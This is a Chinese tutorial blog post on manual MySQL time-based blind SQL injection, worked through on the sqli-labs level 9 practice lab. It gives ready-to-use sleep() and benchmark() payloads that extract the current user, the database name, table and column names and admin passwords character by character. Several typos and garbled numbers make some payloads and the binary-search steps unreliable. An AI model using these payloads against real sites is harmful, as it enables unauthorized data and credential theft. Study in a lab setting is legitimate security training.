mysql 时间盲注_MySQL手注之时间盲注

时间盲注(延迟):

没有任何回显点 在页面中输入任何内容都会返回同一个页面内容的 就可以尝试使用延迟盲注。

时间盲注常用的函数:

if函数:  if(Condition,A,B)

含义: 如果Condition 成立,执行A,则B

substr函数:

含义:截取字符串。subster(string, start, length)

从string的start位开始截取len个字符

ascii函数: ascii(char)

含义: 将char转化成ascii码值

延迟注入:

当mysql版本>-5.0时 使用sleep()进行查询

当mysql版本<5.0时 使用benchmark()进行查询

benchmark()压力测试

通过查询次数增多, 时间变得缓慢来判断是否存在延迟。

语句: select benchamark(1000,selcet * from admin);

sleep()

来判断是否存在延迟注入

语句为: id=1' and sleep(5)

演练: sqil-labs  9关

首先使用语句检测是否存在延时注入 这里延迟了十秒。

3f57fcb970860c63f2b78a256c5ce790.png

通过开发者工具的网络来查看 网页响应时间,因此断定存在延迟注入

37fe1763fc63d0ef49b898dcbe400be5.png

判断当前用户

and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+

(substr(suer(),1,1) : 截取当前数据库的第一个字符

ascii : 把截取到的字符串转换成ascii码(百度搜索ascii码表一堆)

cbf4c864416d4950229235b0a7b3d1b0.png

网页延迟了7秒,说明当前的 ascii 114 对应的值是  r

继续使用二分法测试

and if(ascii(substr(user(),2,1))<114,sleep(5),1) --+

and if(ascii(substr(user(),2,1))>0,sleep(5),1) --+

1140

取一中间数57判断是大于57 还是小于57

and if(ascii(substr(user(),2,1))>57,sleep(5),1) --+

这里延时7秒 所以114< 且 >57  取中间数 85

and if(ascii(substr(user(),2,1))>85,sleep(5),1) --+

延迟7秒   所以11485   取中间数100

and if(ascii(substr(user(),2,1))>100,sleep(5),1) --+

114100   取数110

and if(ascii(substr(user(),2,1))=110,sleep(5),1) --+

返回7秒 发现ascii110 即是 用户名的第二位数 n第三位 则更改数字 按上述步骤进行查询即可。

判断当前数据库长度

and if(length(database())=8,sleep(5),1)--+

3fca2134f95e4fb19a9894e3cb812ff1.png

猜解数据库名称

and if(ascii(substr(database(),1,1))>55,sleep(5),1) --+

猜解表名

and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);--+

猜解列名

and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+

猜解数据

and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)--+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值